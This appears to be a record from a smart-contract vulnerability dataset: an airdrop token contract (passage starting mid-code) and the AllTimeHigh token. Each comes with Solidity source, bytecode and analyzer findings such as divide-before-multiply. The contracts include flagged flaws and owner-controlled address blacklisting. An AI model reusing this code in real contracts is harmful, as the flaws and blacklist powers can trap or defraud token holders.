external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether / 2; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 20 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 10 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 500e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a961080b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a0360043516602435610842565b604080519115158252519081900360200190f35b34801561026257600080fd5b506101926004356108ea565b34801561027a57600080fd5b50610283610957565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a036004358116906024351660443561095d565b3480156102cb57600080fd5b50610283610ad0565b3480156102e057600080fd5b50610192600435610ad6565b3480156102f857600080fd5b50610283610b30565b34801561030d57600080fd5b50610192600435610b35565b34801561032557600080fd5b50610283610c14565b34801561033a57600080fd5b50610283600160a060020a0360043516610c1a565b34801561035b57600080fd5b50610283610c35565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c40565b34801561039457600080fd5b50610283610c65565b3480156103a957600080fd5b50610283610c6b565b3480156103be57600080fd5b50610192610c71565b3480156103d357600080fd5b506101a9610cce565b3480156103e857600080fd5b50610242610d05565b3480156103fd57600080fd5b50610192600435610d6b565b34801561041557600080fd5b50610242600160a060020a0360043516602435610dbd565b34801561043957600080fd5b50610242600160a060020a0360043516610e9c565b34801561045a57600080fd5b50610242610eb1565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610eba565b34801561049657600080fd5b50610283610f6b565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610f71565b3480156104d257600080fd5b50610242600160a060020a0360043516610f9c565b3480156104f357600080fd5b506102836110f0565b34801561050857600080fd5b506102836110f6565b34801561051d57600080fd5b50610192600160a060020a03600435166110fc565b34801561053e57600080fd5b5061019260246004803582810192910135903561114e565b600d54600090819081908190819081908190819060ff161561057757600080fd5b600a546000985088975087965067016345785d8a000095506706f05b59d3b200009450670de0b6b3a7640000935083906105b7903463ffffffff6111a716565b8115156105c057fe5b049750339150662386f26fc1000034101580156105de575060055442105b80156105eb575060075442105b80156105f8575060065442105b156106565784341015801561060c57508334105b15610620576064600589025b049550610651565b83341015801561062f57508234105b1561063f576064600a8902610618565b348311610651576064601489025b0495505b6106c3565b662386f26fc10000341015801561066e575060055442105b801561067b575060075442115b8015610688575060065442105b156106be5783341015801561069c57508234105b156106ac57606460058902610618565b348311610651576064600a890261064d565b600095505b87860196508715156107615750600160a060020a038116600090815260046020526040902054640ba43b74009060ff161580156107045750600b54600c5411155b156107485761071382826111d0565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c8054909101905561075c565b662386f26fc1000034101561075c57600080fd5b6107e8565b6000881180156107785750662386f26fc100003410155b156107d457600554421015801561079157506007544210155b801561079e575060065442105b156107b3576107ad82896111d0565b5061075c565b3485116107c4576107ad82886111d0565b6107ce82896111d0565b506107e8565b662386f26fc100003410156107e857600080fd5b6008546009541061080157600d805460ff191660011790555b5050505050505050565b60408051808201909152600e81527f4167726f4c79746520546f6b656e000000000000000000000000000000000000602082015281565b600081158015906108755750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610882575060006108e4565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461090457600080fd5b600854610917908363ffffffff6112ac16565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b60006060606436101561096c57fe5b600160a060020a038416151561098157600080fd5b600160a060020a0385166000908152600260205260409020548311156109a657600080fd5b600160a060020a03851660009081526003602090815260408083203384529091529020548311156109d657600080fd5b600160a060020a0385166000908152600260205260409020546109ff908463ffffffff6112b916565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a3c908463ffffffff6112b916565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610a80908463ffffffff6112ac16565b600160a060020a0380861660008181526002602090815260409182902094909455805187815290519193928916926000805160206113f683398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610af057600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b2b573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610b4f57600080fd5b33600090815260026020526040902054821115610b6b57600080fd5b5033600081815260026020526040902054610b8c908363ffffffff6112b916565b600160a060020a038216600090815260026020526040902055600854610bb8908363ffffffff6112b916565b600855600954610bce908363ffffffff6112b916565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b662386f26fc1000081565b600154600160a060020a03163314610c5757600080fd5b610c6182826112cb565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610c8d57600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b2b573d6000803e3d6000fd5b60408051808201909152600381527f4147520000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d1f57600080fd5b600d5460ff1615610d2f57600080fd5b600d805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610d8257600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610dcc57fe5b600160a060020a0384161515610de157600080fd5b33600090815260026020526040902054831115610dfd57600080fd5b33600090815260026020526040902054610e1d908463ffffffff6112b916565b3360009081526002602052604080822092909255600160a060020a03861681522054610e4f908463ffffffff6112ac16565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206113f68339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d6020811015610f6057600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a03163314610fba57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561101e57600080fd5b505af1158015611032573d6000803e3d6000fd5b505050506040513d602081101561104857600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156110bc57600080fd5b505af11580156110d0573d6000803e3d6000fd5b505050506040513d60208110156110e657600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461111357600080fd5b600160a060020a0381161561114b576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a0316331461116857600080fd5b5060005b828110156111a15761119984848381811061118357fe5b90506020020135600160a060020a0316836112cb565b60010161116c565b50505050565b60008215156111b8575060006108e4565b508181028183828115156111c857fe5b04146108e457fe5b600d5460009060ff16156111e357600080fd5b6009546111f6908363ffffffff6112ac16565b600955600160a060020a038316600090815260026020526040902054611222908363ffffffff6112ac16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206113f68339815191529181900360200190a350600192915050565b818101828110156108e457fe5b6000828211156112c557fe5b50900390565b600154600160a060020a031633146112e257600080fd5b600081116112ef57600080fd5b600854600954106112ff57600080fd5b600160a060020a038216600090815260026020526040902054611328908263ffffffff6112ac16565b600160a060020a038316600090815260026020526040902055600954611354908263ffffffff6112ac16565b60098190556008541161136f57600d805460ff191660011790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206113f68339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204d5e3cb12d2b94eb7fcb2329fadc7bf55b64479b64b77cd50ddb13706c7383b20029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,810
0xfded307c75838bafd5f18ad5ff27e21a2ad7554a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } contract AllTimeHigh is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint256) private sellcooldown; mapping (address => uint256) private buycooldown; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _ATHPrice; uint256 private _ATHResetPrice; uint256 private _ATHResetPercent; uint256 private _maxTxAmount = _tTotal; uint8 private _devFee = 2; uint8 private _ATHFee = 3; address payable private _devWallet; address payable private _ATHWallet; string private constant _name = unicode"All Time High \\_(\xE3\x83\x84)_/"; string private constant _symbol = "ATH"; uint8 private constant _decimals = 18; IUniswapV2Router02 private uniswapV2Router; IUniswapV2Pair private uniswapV2Pair; address private _uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event ATHUpdated(uint256 _ATHPrice, address _ATHWallet); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } receive() external payable {} constructor () { _devWallet = payable(_msgSender()); _ATHWallet = payable(0); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devWallet] = true; _ATHPrice = 0; _ATHResetPrice = 0; _ATHResetPercent = 60; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function ATHPrice() public view returns (uint256) { return _ATHPrice; } function ATHWallet() public view returns (address) { return _ATHWallet; } function pairAddress() public view returns (address) { return _uniswapV2Pair; } function ATHResetPrice() public view returns (uint256) { return _ATHResetPrice; } function maxTxAmount() public view returns (uint256) { return _maxTxAmount; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if (owner != address(this)) { require(tradingOpen, "Trading not open yet"); } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == _uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { // Buying require(tradingOpen); require(amount <= _maxTxAmount, "Buy amount exceeds max TX amount"); require(buycooldown[to] < block.timestamp, "Buying again too soon"); sellcooldown[to] = block.timestamp + (5 minutes); buycooldown[to] = block.timestamp + (3 minutes); uint256 currentPrice = getPrice(); if (currentPrice > _ATHPrice) { // new ATH has been reached _ATHWallet = payable(to); _ATHPrice = currentPrice; _ATHResetPrice = currentPrice.sub(currentPrice.mul(_ATHResetPercent).div(10**2)); emit ATHUpdated(_ATHPrice, _ATHWallet); } } if (from == _ATHWallet) { // Our ATH wallet holder is selling/transferring, // reset price so next buyer becomes ATH holder. _ATHPrice = 0; _ATHWallet = payable(0); emit ATHUpdated(_ATHPrice, _ATHWallet); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _uniswapV2Pair && swapEnabled) { require(sellcooldown[from] < block.timestamp, "Selling too soon"); // Check to see if price has gone below ATH Reset price. uint256 currentPrice = getPrice(); if (currentPrice < _ATHResetPrice) { _ATHPrice = 0; _ATHWallet = payable(0); _ATHResetPrice = 0; } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0 && _ATHWallet != address(0)) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount.div(4)); _ATHWallet.transfer(amount.div(6)); } function createPair() public onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max); } function openTrading() public onlyOwner(){ require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; } function athResetPercent(uint256 newResetPercent) external onlyOwner() { _ATHResetPercent = newResetPercent; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function manualswap() external { require(_msgSender() == _devWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function getPrice() public view returns (uint256) { require(tradingOpen,"trading isn't open"); IUniswapV2Pair pair = IUniswapV2Pair(_uniswapV2Pair); (uint112 token0, uint112 token1, uint32 blockTimestamp) = pair.getReserves(); (uint256 tokenReserves, uint256 ethReserves) = (address(this) < uniswapV2Router.WETH()) ? (token0, token1) : (token1, token0); return ethReserves.mul(10000000000).div(tokenReserves); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devFee, _ATHFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061016a5760003560e01c80638c0b5e22116100d1578063a9059cbb1161008a578063c3c8cd8011610064578063c3c8cd8014610503578063c9567bf91461051a578063d543dbeb14610531578063dd62ed3e1461055a57610171565b8063a9059cbb14610474578063b515566a146104b1578063c20c66f7146104da57610171565b80638c0b5e22146103865780638da5cb5b146103b157806395d89b41146103dc57806398d5fdca146104075780639e78fb4f14610432578063a8b089821461044957610171565b8063273123b711610123578063273123b71461029c578063313ce567146102c557806361a63d31146102f05780636fc3eaec1461031b57806370a0823114610332578063715018a61461036f57610171565b806306fdde0314610176578063095ea7b3146101a157806315133c49146101de57806318160ddd1461020957806321588d901461023457806323b872dd1461025f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610597565b6040516101989190613582565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612fc8565b6105d4565b6040516101d59190613567565b60405180910390f35b3480156101ea57600080fd5b506101f36105f2565b60405161020091906137a4565b60405180910390f35b34801561021557600080fd5b5061021e6105fc565b60405161022b91906137a4565b60405180910390f35b34801561024057600080fd5b5061024961060e565b6040516102569190613499565b60405180910390f35b34801561026b57600080fd5b5061028660048036038101906102819190612f75565b610638565b6040516102939190613567565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612edb565b610711565b005b3480156102d157600080fd5b506102da610801565b6040516102e79190613842565b60405180910390f35b3480156102fc57600080fd5b5061030561080a565b60405161031291906137a4565b60405180910390f35b34801561032757600080fd5b50610330610814565b005b34801561033e57600080fd5b5061035960048036038101906103549190612edb565b610886565b60405161036691906137a4565b60405180910390f35b34801561037b57600080fd5b506103846108d7565b005b34801561039257600080fd5b5061039b610a2a565b6040516103a891906137a4565b60405180910390f35b3480156103bd57600080fd5b506103c6610a34565b6040516103d39190613499565b60405180910390f35b3480156103e857600080fd5b506103f1610a5d565b6040516103fe9190613582565b60405180910390f35b34801561041357600080fd5b5061041c610a9a565b60405161042991906137a4565b60405180910390f35b34801561043e57600080fd5b50610447610cd3565b005b34801561045557600080fd5b5061045e6111d0565b60405161046b9190613499565b60405180910390f35b34801561048057600080fd5b5061049b60048036038101906104969190612fc8565b6111fa565b6040516104a89190613567565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190613008565b611218565b005b3480156104e657600080fd5b5061050160048036038101906104fc91906130d1565b611342565b005b34801561050f57600080fd5b506105186113e1565b005b34801561052657600080fd5b5061052f61145b565b005b34801561053d57600080fd5b50610558600480360381019061055391906130d1565b611578565b005b34801561056657600080fd5b50610581600480360381019061057c9190612f35565b6116c2565b60405161058e91906137a4565b60405180910390f35b60606040518060400160405280601781526020017f416c6c2054696d652048696768205c5f28e38384295f2f000000000000000000815250905090565b60006105e86105e1611749565b8484611751565b6001905092915050565b6000600c54905090565b600069d3c21bcecceda1000000905090565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061064584848461199f565b61070684610651611749565b6107018560405180606001604052806028815260200161407b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b7611749565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227c9092919063ffffffff16565b611751565b600190509392505050565b610719611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079d906136e4565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b6000600b54905090565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610855611749565b73ffffffffffffffffffffffffffffffffffffffff161461087557600080fd5b6000479050610883816122e0565b50565b60006108d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123db565b9050919050565b6108df611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610963906136e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600e54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4154480000000000000000000000000000000000000000000000000000000000815250905090565b6000601360149054906101000a900460ff16610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290613784565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610b5d57600080fd5b505afa158015610b71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b95919061307e565b925092509250600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163f